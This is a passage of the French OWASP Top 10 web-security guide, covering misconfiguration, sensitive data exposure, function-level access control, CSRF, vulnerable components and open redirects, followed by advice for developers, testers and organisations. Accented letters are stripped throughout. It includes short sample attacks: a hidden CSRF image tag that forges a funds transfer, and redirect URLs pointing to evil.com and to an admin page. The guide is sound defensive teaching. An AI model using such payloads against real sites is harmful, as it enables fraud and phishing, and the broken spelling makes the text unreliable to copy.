Spcifique Application/Mtier Le systme peut tre compromis sans le savoir. Lensemble de vos donnes peut tre drob ou modifi lentement dans le temps. Les cots de rcupration peuvent tre levs.

Une mauvaise configuration de scurit peut survenir sur lensemble des couches, la plateforme, le serveur web, le serveur dapplication, le Framework et le code spcifique. Dveloppeurs et administrateurs system ont besoin de travailler ensemble pour sassure que lensemble des couches sont configure correctement. Les scanners automatiss sont utiles pour dtecter les patchs manquants, erreur de configuration, comptes par dfaut, services inutiles, etc.

Suis-je vulnrable?
Avez-vous effectu le durcissement de scurit appropri sur lensemble des couches de lapplication ? incluent 1. Est-ce que vos logiciels sont jour ? OS, Web/App Server, BE, applications, et lensemble des librairies de code (Voir nouveau point A9). 2. Y-a-til des fonction inutiles actives/installes(ex : ports, services, pages, comptes, privilges)? 3. Les mots de passe par dfaut sont activs et inchangs ? 4. Affichez-vous ltat de la paile et des messages derreurs aux utilisateurs ? 5. La configuration scurit des frameworks de dveloppement(Ex : Struts, Spring, ASP.NET) ne sont pas configurs avec des valeurs scurises ? Sans processus de configuration reproductible concert, les systmes sont exposs .

Comment sen prmunir?

La recommandation principale est de mettre en place tous les points suivants 1. Un processus de durcissement reproductible qui permet un dploiement rapide et facile dun nouvel environnement correctement verrouill. Dev, QA et Prod devraient tre configurs identiquement(hors accs). Ce processus devrait tre automatis pour minimiser les efforts de configuration dun nouvel environnement. Un processus dinformation et de dploiement de nouvelles versions et de correctifs dans un temps voulu dans chaque environnement. Ceci inclut le code de librairies ( Voir nouveau point A9). Une architecture solide qui apporte une sparation et scurit entre les composants. Utiliser les scans et les audits aident la dtection des futures mauvaises configurations ou absence de correctifs.

2.

3. 4.

Exemple de scnarios dattaque

Scnario #1: La console dadministration du serveur dapplication est automatiquement installe et non dsactive. Les comptes par dfaut ne sont pas modifis. Lattaquant dcouvre la console , utilise le compte par dfaut et prend le contrle. Scnario #2: Le listage des rpertoires est activ. Lattaquant le dcouvre et peut lister les rpertoires et trouver les fichiers. Lattaquant trouve et tlcharge vos classes java compiles quil dcompile . Il identifie une faille de contrle daccs. Scnario #3: La configuration du serveur dapplication autorise laffichage dtat de la pile lutilisateur. Les attaquants apprcient ces messages derreurs. Scnario #4: Le serveur dapplication est livr avec des exemples dapplications non supprims de votre serveur de production. Ledit exemple dapplication contient des vulnrabilits connues utilisables par lattaquant pour compromettre le serveur.

Rfrences
OWASP
OWASP Development Guide: Chapter on Configuration OWASP Code Review Guide: Chapter on Error Handling OWASP Testing Guide: Configuration Management OWASP Testing Guide: Testing for Error Codes OWASP Insecure Configuration Management Pour plus dinformations, il est possible de consulter ASVS requirements area for Security Configuration (V12).

Externes
PC Magazine Article on Web Server Hardening CWE Entry 2 on Environmental Security Flaws CIS Security Configuration Guides/Benchmarks

A6
Agents de menace

Exposition de donnes sensibles

Vecteurs dAttaque Vulnrabilit Impacts Techniques Impacts Mtier

Spcifique Application Considrer tout acteur interne ou externe ayant accs direct aux donnes sensibles (en mmoire, dans des fichiers, dans les sauvegardes, etc.) ou un rseau par lequel elles transitent.

Exploitabilit DIFFICILE La cryptanalyse (cassage de lalgorithme ou de la cl) reste rare. On prfre obtenir les cls, intercepter le trafic ou accder aux donnes en clair directement sur le serveur ou dans le navigateur.

Prvalence PEU COMMUNE

Dtection MOYENNE

Impact SEVERE Lexploitation peut rsulter en la compromission ou la perte de donnes personnelles, mdicales, financires, dlments de cartes de crdit ou dauthentification, etc.

Spcifique Application/Mtier Considrer la valeur conomique des donnes perdues, limpact potentiel pour la rputation de lorganisation ainsi que les implications lgales pouvant rsulter de leur perte ou leur diffusion.

La principale erreur est de ne pas chiffrer les donnes sensibles. Les autres erreurs frquentes sont: gnration de cls faibles, choix et configuration incorrects des algorithmes et protection insuffisante des mots de passe. Les faiblesses dans le navigateur sont rpandues et simples dtecter mais difficiles exploiter. En gnral, les faiblesses cryptographiques sont plus difficiles identifier et exploiter de lextrieur, en raison dun accs limit.

Suis-je vulnrable?
Dterminer dabord quelles donnes doivent bnficier dune protection cryptographique (mots de passe, donnes patient, numros de cartes, donnes personnelles, etc.), lors de leur transfert et/ou leur stockage. Pour chacune de ces donnes: 1. 2. 3. 4. 5. Les donnes sont-elles stockes/archives en clair? Quen est-il des sauvegardes? Les donnes circulent-elles en clair? Sur le rseau interne? Externe? Et sur Internet? (trs risqu) Des algorithmes faibles ou dsuets sont-ils utiliss? Les cls sont-elles robustes? Leur gestion et rotation sont-elles prises en charge? Les rponses transmises au navigateur incluent-elles les directives/en-ttes de scurit adquats?

Comment s'en prmunir?

Lintgralit des cueils lis lusage de la cryptographie lors du transport et stockage de donnes sensibles dpasse le primtre du Top 10. Au minimum, lon veillera toutefois : 1. Identifier les menaces contre lesquelles lon souhaite se protger (ex.: menace interne, utilisateurs externes) et sassurer que les donnes sensibles sont chiffres correctement lors de leur stockage et de leur transport.. Ne conserver que les donnes sensibles ncessaires. Les donnes que lon ne possde pas ne peuvent tre voles! Choisir des algorithmes prouvs et gnrer des cls robustes. S'assurer qu'une gestion des cls est en place. Privilgier des modules cryptographiques certifis. Stocker les mots de passe au moyen dun algorithme adapt cet usage, tel que bcrypt, PBKDF2, or scrypt. Dsactiver la mise en cache et l'attribut "autocomplete" dans les formulaires collectant des donnes sensibles.

2. 3.

4. 5.

Pour une liste complte de contrles, se rfrer lASVS: Crypto (V7), Data Protection. (V9), SSL (V10)

Exemples de scnarios dattaque

Scnario #1: Un site web protge des numros de carte de crdit au moyen dune fonction de chiffrement transparent (TDE) du SGBD. Cette mthode induit galement un dchiffrement transparent des donnes lorsquelles quittent la base. En exploitant une injection SQL, lattaquant rcupre ainsi les donnes en clair Scnario #2: Un site public ne requiert pas SSL lors de la navigation dans la section authentifie. Un acteur malveillant se connecte un rseau sans-fil en libre accs et collecte le trafic d'un utilisateur. Il rcupre le jeton d'une session authentifie et accde ainsi aux donnes et privilges de l'utilisateur dans lapplication. Scnario #3: En exploitant une faille dans une fonction denvoi de fichiers, un acteur malveillant obtient la base de condenss (hashs) de mots de passe. Les condenss ayant t gnrs sous la forme simple sans sel (salt), une attaque par table arc-en-ciel (rainbow table) lui rvle les mots de passe.

Rfrences
OWASP
Recommandations et contrles du rfrentiel ASVS: Cryptography (V7), Data Protection (V9) et Communications Security (V10)

OWASP Cryptographic Storage Cheat Sheet OWASP Password Storage Cheat Sheet OWASP Transport Layer Protection Cheat Sheet OWASP Testing Guide: Chapter on SSL/TLS Testing

Externes
CWE 310 : Cryptographic Issues CWE 312 : Cleartext Storage of Sensitive Information CWE 319 : Cleartext Transmission of Sensitive Information CWE 326 : Weak Encryption

A7
Agents de menace

Manque de contrle daccs au niveau fonctionnel

Vecteurs dattaque Vulnrabilit Impacts Techniques Impacts Mtier

Spcifique Application Toute personne pouvant envoyer une requte lapplication. Un utilisateur anonyme peut-il accder une fonctionnalit prive ? Un simple utilisateur peut-il accder une fonctionnalit privilgie ?

Exploitabilit FACILE Lattaquant modifie simplement lURL ou les paramtres dune fonction privilgie. Si laccs est autoris, cela signifie que les utilisateurs peuvent accder des fonctionnalits prives non protges.

Prvalence COMMUNE

Dtectabilit MOYENNE

Impact MODR Ces vulnrabilits permettent un attaquant daccder des fonctionnalits non autorises. Les fonctionnalits dadministration sont les cibles privilgies de ce type dattaque.

Spcifique Application/Mtier Prenez en compte la valeur mtier des fonctionnalits exposes et des donnes quelles traitent. Considrez aussi limpact sur votre rputation si la vulnrabilit devenait publique.

Les applications ne protgent pas toujours correctement certaines fonctionnalits. Parfois, les protections de niveau fonctionnel sont gres par configuration et le systme est mal configur. Parfois, les dveloppeurs oublient dintgrer les vrifications logicielles adquates. Dtecter de telles vulnrabilits est ais. La tche la plus difficile consiste identifier les URLs ou fonctionnalits devant tre testes.

Suis-je vulnrable ?
La meilleure faon de le vrifier est de tester chacune des fonctionnalits applicatives : 1. 2. 3. Linterface utilisateur permet-elle de naviguer vers des fonctionnalits accs restreint ? Certaines vrifications ct serveur (authentification et autorisation) sont-elles manquantes ? Ces vrifications sont-elles ralises en sappuyant seulement sur des informations fournies par lattaquant ?

Comment sen prmunir ?

Votre application devrait utiliser un module de gestion des autorisations consistant, facilement analysable et appel depuis les fonctionnalits mtier. Ce type de protection est frquemment fourni par des composants externes. 1. 2. Faites en sorte que la gestion des droits soit facile mettre jour et auditer. Ne codez pas en dur. La gestion des droits doit par dfaut interdire tout accs. Ceci impose lautorisation explicite de certains rles pour chacune des fonctionnalits proposes.

Visitez lapplication avec des droits privilgis, puis raccdez les fonctionnalits restreintes avec des droits infrieurs.
Vous pouvez aussi inspecter le code grant le contrle daccs. Tracez une requte privilgie, identifiez les contrles daccs prsents puis cherchez o ces vrifications ne sont pas implmentes. Il est peu probable quun outil identifie seul ces vulnrabilits.

3.

Si la fonctionnalit fait partie dun workflow, vrifiez que les conditions requises pour accder cet tat sont runies.

NOTE : La plupart des applications naffichent pas de liens vers les fonctionnalits restreintes, mais cela ne constitue pas une protection. Les vrifications doivent aussi tre ralises au sein des couches Contrleur et Mtier.

Exemples de scnarios dattaque

Scenario 1: Lattaquant se contente de visiter les URLs cibles. Les URLs suivantes ncessitent dtre authentifi et les droits dadministration sont requis pour admin_getappInfo. http://exemple.com/app/getappInfo http://exemple.com/app/admin_getappInfo Une vulnrabilit existe si un utilisateur non authentifi peut accder une de ces pages ou si un utilisateur authentifi mais non privilgi peut accder admin_getappInfo. Dans ce dernier cas, cela peut permettre lattaquant didentifier dautres fonctionnalits dadministration non protges. Scenario 2: Une page utilise un paramtre action pour spcifier la fonctionnalit invoquer, et les diffrentes actions requirent des privilges diffrents. Une vulnrabilit existe si ces privilges ne sont pas vrifis.

Rfrences
OWASP
OWASP Top 10-2007 on Failure to Restrict URL Access

ESAPI Access Control API

OWASP Development Guide: Chapter on Authorization OWASP Testing Guide: Testing for Path Traversal OWASP Article on Forced Browsing

Voir ASVS requirements area for Access Control (V4) pour des exigences additionnelles de contrle daccs.

Externes
CWE Entry 285 on Improper Access Control (Authorization)

A8
Agents de Menace

Falsification de requte intersite (CSRF)

Vecteurs dAttaque

Vulnrabilit

Impacts Techniques

Impacts Mtier

Spcifique Application Tout accs de vos utilisateurs un site web, ou une source HTML, peut charger du contenu dans leur navigateur. Et, un contenu, spcialement forg, peut permettre que leur navigateur gnre une requte automatique vers votre site.

Exploitabilit MOYENNE Lattaquant forge une requte HTTP et, par le biais d'une balise image, d'une faille XSS ou dune autre technique, force le navigateur mettre la requte, l'insu de lutilisateur. Si ce dernier est authentifi, lattaque va russir.

Prvalence COURANT

Dtectabilit FACILE

Impact MODERE Lattaquant peut forcer la victime raliser nimporte quelle opration de changement dtat autorise la victime.

Spcifique Application/Mtier Estimer la valeur mtier des donnes et des fonctions qui pourraient tre affectes.

CSRF exploite le fait que la plupart des applications web permettent aux attaquants de prvoir tous les dtails de certaines actions. Et, comme les navigateurs envoient automatiquement les informations dauthentification, tels que les cookies de session, les attaquants peuvent concevoir des pages web malicieuses , qui gnrent des requtes spcialement forges, qui paraissent ainsi lgitimes. Une faille CSRF est assez facile dtecter par une analyse de code, ou par un test dintrusion.

Imaginer limpact quil y aurait ne Ainsi, il peut la pas savoir si les forcer modifier actions ralises, son compte, ont t faites faire des achats, intentionnellement se dconnecter ou ou pas, par vos mme se utilisateurs. connecter. Estimer limpact sur votre rputation.

Suis-je vulnrable ?
Vrifier si chaque lien et formulaire contient un jeton alatoire. Sans de tels jetons, un attaquant peut forger des requtes malicieuses. Une dfense alternative consiste sassurer que lutilisateur est lauteur de la requte, soit par r-authentification, soit par vrification que la demande nest pas automatise (ex., par un test CAPTCHA). Se concentrer sur les liens et les formulaires qui appellent des fonctions de changement dtat car elles sont les principales cibles des attaques CSRF. Vrifier les transactions qui ont plusieurs tapes car elles ne sont pas intrinsquement sans faille. Les attaquants peuvent facilement forger des sries de requtes en utilisant des balises multiples ou, ventuellement du javascript. Attention, les cookies de session, les adresses IP source, et autres informations envoyes automatiquement par les navigateurs, nassurent aucune protection contre la falsification de requte inter site, car ils sont aussi systmatiquement envoys avec les requtes forges. Loutil CSRF Tester de lOWASP peut vous aider gnrer des tests pour dmontrer les dangers des failles CSRF.

Comment sen prmunir?

La mthode standard de protection ncessite dajouter un jeton alatoire chaque requte HTTP. Ces jetons doivent, au minimum, tre uniques par session utilisateur : 1. La meilleure option est dinclure un jeton unique dans un champ cach. Ce jeton, envoy dans le corps de la requte HTTP, et non insr dans lURL, sera ainsi potentiellement moins expos. 2. Le jeton unique peut aussi tre inclus directement dans lURL, ou dans un paramtre de lURL. Mais il risque dtre accessible lattaquant et ainsi dtre compromis. Le projet CSRF Guard de lOWASP fournit des bibliothques pour insrer de tels jetons dans les applications Java EE, .NET, ou PHP. Et le projet ESAPI de lOWASP fournit des interfaces de programmation que les dveloppeurs peuvent utiliser pour empcher les attaques CSRF. Demander lutilisateur de se r-authentifier ou, vrifier que la demande nest pas automatise (par ex., avec un test CAPTCHA) peut aussi vous protger contre ces attaques.

Exemple de scnario dattaque

Une application permet un utilisateur de soumettre une requte de changement dtat, qui ne requiert aucun secret : http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243 Lattaquant peut donc forger une requte pour transfrer de largent du compte de la victime sur son propre compte, et la cacher dans une balise image, ou dans une balise iframe, stocke sur un site sous son contrle : <img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct# width="0" height="0" /> Si la victime visite lun des sites de lattaquant, alors quelle est toujours authentifie sur le site example.com, son navigateur inclura les donnes de session utilisateur dans la requte forge et cette dernire aboutira.

Rfrences
OWASP
OWASP CSRF Article OWASP CSRF Prevention Cheat Sheet OWASP CSRFGuard - CSRF Defense Tool ESAPI Project Home Page

ESAPI HTTPUtilities Class with AntiCSRF Tokens

OWASP Testing Guide: Chapter on CSRF Testing OWASP CSRFTester - CSRF Testing Tool

Externes
CWE Entry 352 on CSRF

A9
Agents de menace

Utilisation de composants avec des vulnrabilits connues

Vecteurs dattaque Vulnrabilit Impacts Technique Impacts Mtier

Spcifique Application
Certains composants vulnrables (Ex: bibliothques) peuvent tre identifies et exploites laide doutils automatiss, augmentant la population des agents de menace, qui peuvent tre utiliss au del des attaques cibles par des hacktivistes.

Exploitabilit MOYENNE
Lattaquant utilise des outils manuels ou des scanners afin didentifier un composant vulnrable. Il personnalise si besoin lexploit et excute lattaque. Cela est dautant plus difficile si le composant est imbriqu profondment dans lapplication.

Prvalence DIFFUSION

Dtection DIFFICILE

Impact MODR
Le paysage complet des faiblesses est envisageable : injection, violation de contrle daccs, XSS, etc. Limpact peut tre minime, ou entraner la compromission totale du systme ou une atteinte aux donnes.

Spcifique Application/Mtier
Prendre en compte ce quimplique la vulnrabilit pour le mtier utilisant lapplication touche. Cela peut tre bnin ou correspondre une compromission totale.

Potentiellement, toutes les applications peuvent tre impactes par ces vulnrabilits, notamment parce que les quipes de dveloppement ne sassurent pas que les composants/bibliothques sont jour. Dans la plupart des cas, les dveloppeurs ne connaissent mme pas tous les composants sur lesquels reposent leur application, sans mme parler des numros de version correspondants. Les dpendances entre composants aggravent dautant plus la situation.

Suis-je vulnrable?
En thorie, il semble simple didentifier si vous utilisez des composants ou bibliothques vulnrables. Malheureusement, les rapports de vulnrabilits des logiciels commerciaux ou open source ne permettent pas toujours de prsenter sous une forme standardise ou de rechercher quelle version dun composant est concerne par une vulnrabilit. Dautant plus que la majorit des bibliothques nutilisent pas un systme de numrotation de version comprhensible. Le pire tant que certaines vulnrabilits ne sont pas centralises chez un dpositaire unique facilitant les recherches, mme si il est de plus en plus facile de rechercher sur certains sites comme CVE et NVD. Dterminer si vous tes vulnrable ncessitent de rechercher tout ce qui pourrait tre une vulnrabilit dans ces bases de donnes, dans les listes de diffusion et les annonces. Si lun de vos composants possde une vulnrabilit, il faut vrifier scrupuleusement si votre code fait appel une fonctionnalit vulnrable du composant et si cette faiblesse entrainerait un risque vous impactant.

Comment sen prmunir?

Une option est de ne pas utiliser des composants que vous navez pas vous mme crit. Mais cela nest pas trs raliste. De nombreux projets de composants ne fournissent pas de correctifs de scurit pour les anciennes versions. A la place, le problme tant simplement corrigs dans la version suivante. De ce fait, effectuer une monte de version est critique. Les projets logiciels devraient avoir un processus en place pour : 1) Identifier tous les composants et les versions utilises, ainsi que les dpendances (ex: le plugin des versions). 2) Surveiller les bases de donnes publiques, les listes de diffusion des projets et les listes de diffusion de scurit afin de sassurer de la scurit de ces composants afin de les maintenir jour. 3) tablir des politiques de scurit pour lutilisation des composants, telles que la mise en place de pratiques de dveloppement scuris, le passage avec succs des recettes scurit et lutilisation de composants sous License. 4) Si possible, essayer dajouter des filtres de scurits autour des composants afin de dsactiver des fonctionnalits et/ou des parties comprenant des faiblesses ou des fonctions vulnrables.

Exemple de scnarios dattaque

Les risques lis la vulnrabilit dun composant peuvent tre trs varis, allant dun malware simple voir complexe ciblant une organisation voulue. Puisque la plupart des composants sexcutent avec les privilges maximum de lapplication, toute faille dans un de ces composants peut avoir un impact majeur. Les deux composants vulnrables suivants ont t tlchargs 22 millions de fois en 2011. Apache CXF Authentification Bypass En ne fournissant pas de jeton dauthentification, les attaquants pouvaient faire appel nimporte quels web services avec lensemble des privilges. (Apache CXF est un framework opensource ne pas confondre avec le serveur applicatif Apache.) Spring Remote Code Execution Un abus de limplmentation du langage dexpression de Spring permettait aux attaquants dexcuter du code arbitraire et ainsi de prendre le contrle du serveur. Toutes les applications utilisant lune de ces bibliothques vulnrables est vulnrable aux attaques de ces composants directement accessible aux utilisateurs de lapplication. Dautres bibliothques vulnrables, utilises plus profondment dans lapplication, seraient plus difficilement exploitable.

Rfrences
OWASP
OWASP Dependency Check (for Java libraries) OWASP SafeNuGet (for .NET libraries thru NuGet) Good Component Practices Project

Externes
The Unfortunate Reality of Insecure Libraries Open Source Software Security Addressing Security Concerns in Open Source Components MITRE Common Vulnerabilities and Exposures Example Mass Assignment Vulnerability that was fixed in ActiveRecord, a Ruby on Rails GEM

A10
Agents de menace

Redirections et Renvois Non Valids

Vecteurs dattaque Vulnrabilit Impacts Technique Impacts Mtier

Spcifique Application
Considrez toute personne pouvant tromper vos utilisateurs lors dune requte sur votre site web. Nimporte quel site web ou flux HTML peut tre utilis cette fin.

Exploitabilit MOYENNE
Un attaquant utilise des redirections non valides afin dinciter lutilisateur cliquer sur un lien. Les victimes sont en confiance car les liens pointent vers un site connu. Lattaquant cible les renvois non srs afin de contourner les mcanismes de scurit.

Prvalence RARE

Dtection FACILE

Impact MODERE
Certaines redirections essayent dencourager les victimes installer des logiciels malicieux ou fournir des informations sensibles. Des renvois non srs peuvent amener le contournement de contrles daccs.

Spcifique Application/Mtier
Quelle est la valeur associe la confiance de vos utilisateurs.

Les applications utilisent frquemment les redirections et les renvois pour rediriger les utilisateurs vers d'autres pages. Parfois la page cible est spcifie dans un paramtre non valid, permettant un attaquant de choisir la page de destination. La dtection de redirections non vrifies est facile. Recherchez des redirections o l'URL complte peut tre modifie. La dtection de renvois non vrifis est plus complique puisqu'ils ciblent des pages internes.

Quel serait limpact en cas de compromission dun logiciel malveillant ? Quel serait limpact si un attaquant accdait aux fonctions internes de lapplication ?

Suis-je vulnrable?
La meilleure faon de dtecter si une application possde des redirections ou des renvois non valids est de :

Comment sen prmunir?

Lutilisation de manire sre de renvois et de redirections peut tre effectue de diffrentes faons:

1.

Revoir le code source de tous les renvois ou les redirections (appel transferts en .NET). Pour chaque utilisation, dterminer si lURL de destination est inclue dans un paramtre de lapplication. Dans ce cas, si lURL de destination nappartient pas une liste blanche, alors lapplication est vulnrable.
Parcourir le site afin didentifier si des redirections sont gnres par lapplication (codes 300-307 HTTP, notamment 302). Dterminer si les paramtres fournis utilisent une URL de destination. Si cest le cas, modifier lURL cible et valider si la redirection est effectue vers la nouvelle cible. Si le code source nest pas disponible, vrifier si des paramtres sont utiliss dans le cadre dune redirection ou dun renvoi et, si cest le cas, tester les.

1.
2.

Eviter lutilisation des redirections et des renvois.

En cas dutilisation, ne pas utiliser de valeur de destination dans les paramtres utilisateur. Ceci est gnralement ralisable. Si une valeur de destination doit tre spcifie, vrifier que la valeur est valide et autorise pour lutilisateur.

3.

2.

3.

Il est recommand de ne pas utiliser dURL dans les paramtres, mais plutt une valeur abstraite qui sera traduite ct serveur par une URL cible. Les applications peuvent utiliser ESAPI afin de bnficier de la fonction sendRedirect() permettant de sassurer que les redirections soient sres. Lradication de telles failles est extrmement importante car elles sont principalement utilises dans des attaques de phishing afin de gagner la confiance des utilisateurs.

Exemples de scnarios dattaque

Scnario #1: Une application possde une page redirect.jsp disposant dun seul paramtre nomm url. Un attaquant forge une URL permettant de rediriger les utilisateurs vers un site malveillant (tentative de phishing ou installation de malwares). http://www.example.com/redirect.jsp?url=evil.com Scnario #2: Une application effectue des renvois pour rediriger les utilisateurs sur certaines pages internes. Pour simplifier le renvoi, certaines pages utilisent un paramtre contenant la page o doit tre renvoyer lutilisateur. Dans ce cas, un attaquant cre une URL satisfaisant les contrles d'accs de l'application et le redirigeant ensuite vers une fonction dadministration laquelle il ne devrait pas avoir accs. http://www.example.com/boring.jsp?fwd=admin.jsp

Rfrences
OWASP
OWASP Article on Open Redirects ESAPI SecurityWrapperResponse sendRedirect() method

Externes
CWE Entry 601 on Open Redirects WASC Article on URL Redirector Abuse Google blog article on the dangers of open redirects OWASP Top 10 for .NET article on Unvalidated Redirects and Forwards

+D

Pour les dveloppeurs

Dfinissez des processus reproductibles et des contrles de scurit communs

Que vous soyez dbutant dans le dveloppement scuris dapplications web ou dj familier avec les risques qui y sont associs, il est toujours difficile de crer une application web scurise ou de corriger une application existante. Lorsquen plus vous devez grer de nombreuses applications, la tche devient ardue. Afin daider les organisations et les dveloppeurs rduire les risques au sein de leurs applications web moindre cot, lOWASP a cr de nombreuses ressources gratuites et ouvertes utilisables au sein de votre organisation. Les ressources ci-dessous sont un exemple de ce que lOWASP a produit pour aider les organisations dvelopper des applications web scurises. Dautres ressources destines vous aider contrler la scurit de vos applications sont prsentes la page suivante. Afin de produire une application web scurise, vous devez d'abord dfinir ce que cela signifie pour cette application. Utilisez le standard de vrification de la scurit d'une application (ASVS) comme guide pour dterminer les exigences de scurit de votre application. Si le dveloppement de lapplication est sous-trait, utilisez plutt l'annexe contractuelle pour du logiciel scuris de l'OWASP.

Exigences de scurit de lapplication

Architecture applicative scurise

Il est bien plus efficace dintgrer la scurit dans une application ds sa conception plutt que d'identifier les failles et les corriger a posteriori. Les aide-mmoire de l'OWASP ont pour objectif de vous guider dans cette tche. LOWASP recommande galement la lecture du guide de dveloppement OWASP.

Contrles de
scurit communs

Il est particulirement difficile de concevoir des contrles de scurit fiables et simples utiliser. Un jeu de contrles standard simplifie radicalement le dveloppement d'applications scurises. L'OWASP recommande comme modle pour le dveloppement scuris des APIs de votre application le projet "OWASP Enterprise Security API (ESAPI)". Il inclut des implmentations de rfrence en Java, .NET, PHP, Classic ASP, Python et Cold Fusion.

Cycle de dveloppement scuris

Afin d'amliorer le processus que suit votre organisation pour le dveloppement d'applications, l'OWASP recommande l'"OWASP Software Assurance Maturity Model (SAMM)". Ce modle aide les organisations formuler et implmenter une stratgie adapte aux risques spcifiques auxquels elles sont confrontes.

Formation la scurit applicative

Le projet ducation de l'OWASP met disposition des ressources de formation afin d'aider la sensibilisation des dveloppeurs. Il regroupe une liste de prsentations cette fin. Afin de vous confronter aux vulnrabilits les plus courantes, essayez l'OWASP WebGoat, WebGoat.NET ou encore le projet applications web dfaillantes. Et pour rester jour, venez assister une confrence AppSec OWASP, une session de formation, ou une runion du chapitre OWASP local.

De nombreuses autres ressources OWASP sont disponibles. Consultez la page des projets OWASP qui les recense, organiss selon leur niveau de maturit (Release Quality, Beta, ou Alpha). La plupart des ressources OWASP sont disponibles sur le wiki, et un grand nombre de documents OWASP peuvent tre commands au format papier ou lectronique (eBook).

+V
Soyez Organis

Perspective pour les vrificateurs

Afin de vrifier la scurit dune application web que vous avez dvelopp ou que vous envisagez dacqurir, lOWASP recommande dexaminer le code applicatif (si le code source est disponible) et de tester lapplication. LOWASP recommande la combinaison dune revue du code lie la scurit et ltablissement dun test dintrusion applicatif ds que cela savre possible, cela permet daugmenter le niveau de rsultat des deux techniques, les deux approches se compltant mutuellement. Les outils facilitant le processus de vrification peuvent amliorer lefficience et lefficacit dun analyste expert. Les outils dvaluation de lOWASP se focalisent sur laide apporte un expert afin de devenir plus efficace, plutt que de tenter dautomatiser le processus danalyse. Standardisation Comment Vrifiez Vous la Scurit dApplication Web: Afin daider les organisations dvelopper de la cohrence et de dfinir un niveau de rigueur lors de lvaluation dapplications web, lOWASP a produit lOWASP Standard de Vrification de Scurit Applicative (ASVS). Ce document dfinit un standard de vrification minimum pour effectuer lvaluation de scurit des applications web. LOWASP recommande dutiliser ASVS comme guide pas seulement lorsque vous vrifiez la scurit dune application Web, mais aussi sur les techniques les plus appropries utiliser, et de vous aider dfinir et slectionner un niveau de rigueur lorsque vous vrifiez la scurit dapplication web. LOWASP recommande par ailleurs lutilisation de lASVS pour vous aider dfinir et slectionner tout service dvaluation dapplication web que vous pourriez vous procurer par un fournisseur tiers. Suite dOutils dEvaluation : Le projet OWASP Live CD consolide plusieurs des meilleurs outils de scurit open source dans un environnement de dmarrage ou dans une machine virtuelle (VM). Les dveloppeurs web, testeurs, et professionnels de la scurit peuvent excuter ce Live CD, or excuter la VM, et immdiatement avoir accs une suite complte de test de scurit. Aucune installation ni configuration nest requise pour utiliser les outils fournis sur ce CD.

Revue de Code
La revue de code en scurit est particulirement adapte pour vrifier quune application contient des mcanismes de scurit forts, et de trouver des lments qui seraient difficiles identifier en examinant les donnes de sorties. Tester une application est adapt pour prouver que des failles sont exploitables. Cela tant, les deux approches sont complmentaires et se recoupent dans quelques domaines. Revue de Code : En tant que compagnon du Guide du Dveloppeur OWASP, et le Guide des Tests OWASP, lOWASP a produit le Guide de la Revue de Code OWASP pour aider les dveloppeurs et les spcialistes de la scurit applicative comprendre comment examiner de manire efficiente et efficace la scurit dune application web par la revue de code. Il y a de nombreuses questions de scurit applicatives, tel que les failles dinjection, qui sont de loin plus facile dterminer au travers de la revue de code que du test externe. Outil de Revue de Code : LOWASP a fait du travail prometteur dans le domaine de lassistance aux experts pour effectuer de lanalyse de code, mais ces outils sont encore leurs dbuts. Les auteurs de ces outils les utilisent chaque jour lorsquils effectuent leurs revues de code en scurit, mais les non-experts pourraient trouver ces outils compliqus dutilisation. Cela inclut CodeCrawler, Orizon, et O2. Seul O2 a t en dveloppement actif depuis la dernire version du Top 10 en 2010. Il y a dautres outils de revue de code gratuits et open source. Le plus prometteur est FindBugs, et son nouveau plugin de scurit sappelle FindSecurityBugs, les deux tant sous Java.

Scurit et Test dIntrusion

Tester lApplication : LOWASP a dvelopp le TestingGuide pour aider les dveloppeurs, testeurs, et spcialistes de la scurit comprendre comment tester de manire efficace et efficiente la scurit des applications web. Cet norme guide, qui au travers de douzaines de contributeurs, fournit un vaste ensemble de sujets sur les tests de scurit des applications web. Une revue de code a ses avantages, les tests de scurit aussi. Il est trs intressant de pouvoir prouver quune application est non scurise en dmontrant lexploit. Il y a beaucoup de question de scurit, particulirement toutes les scurits fournies par linfrastructure applicative, qui ne peuvent tre vues au travers de la revue de code, du fait que lapplication ne porte pas la scurit par elle-mme. Outils de Tests dIntrusion Applicatifs : WebScarab, qui a t un des plus utiliss de tous les projets OWASP, et le nouveau ZAP, qui maintenant est bien plus populaire, sont tous deux des proxys de test dapplication web. Ils permettent aux analystes scurit dintercepter les requtes dapplication web, ainsi les analystes peuvent imaginer comment lapplication fonctionne, et donc de permettre lanalyste de soumettre des requtes de test afin de voir si lapplication rpond de manire scurit de telles requtes. Ces outils sont particulirement efficaces pour assister un analyste la dcouverte de failles XSS, des failles dAuthentification, et des failles de Contrle dAccs. ZAP a mme un scanner actif intgr, et cela GRATUITEMENT !

+O

Que faire dans une entreprise ?

Lancez ds maintenant un programme de scurisation des applications

La scurit des applications n'est plus une option. Entre le nombre croissant des agressions et la pression des autorits de rgulation, les entreprises du web doivent se donner les moyens de scuriser leurs applications. Etant donn le nombre crasant de lignes de code dj en production qui sont autant de risques de vulnrabilit, beaucoup dentreprises luttent dj pour en reprendre le contrle. L'OWASP leur recommande de mettre en place un plan global qui profite l'ensemble de leurs services. Mais pour mener bien cette scurisation des applications, il faut une synergie de toutes les composantes de lentreprise: la scurit, la qualit, les dveloppeurs, les commerciaux et la direction. La scurit doit tre mise en avant, de telle sorte que tous les acteurs puissent la retrouver dans leurs directives de travail et l'appliquer. Il faut aussi mettre l'accent sur les mthodes qui vont effectivement amliorer la scurit et leurs effets attendus en terme et de diminution de risque, mais aussi de cot. Les lments clefs de la scurisation des applications sont: Etablissez un programme de scurisation des applications , et pilotez son adoption. Procdez une analyse des lacunes des capacits comparant votre organisation vos pairs pour dfinir les principaux axes d'amlioration et un plan d'excution. Faites entriner ce programme par la Direction et lancez une campagne de sensibilisation la scurit des applications pour l'ensemble de l'organisation informatique.

Pour commencer

Approche base sur le risque

Identifier et prioriser votre portefeuille d'applications du point de vue du risque inhrent. Crer un modle de profil de risque applicatif pour mesurer et hirarchiser vos applications. tablissez des directives d'assurance pour dfinir correctement la couverture et le niveau de rigueur requis. Dfinissez un modle commun dvaluation des risques avec un ensemble cohrent de probabilit et de facteurs d'impact refltant la tolrance de votre organisation pour le risque.

Partez sur des bases solides

Adoptez une liste prcise de normes et standards dfinissant les rgles de base de la scurit des applications qui devront tre adoptes par les quipes de dveloppement. Dfinissez une liste commune de contrles priodiques qui compltent ces politiques et normes et qui fournisse les conseils de conception et de dveloppement sur leur utilisation. Mettez en place un programme de formation spcifique la scurit des applications s'adressant aux diffrents mtiers et sujets de dveloppement.

Intgrez la scurit dans les processus existants

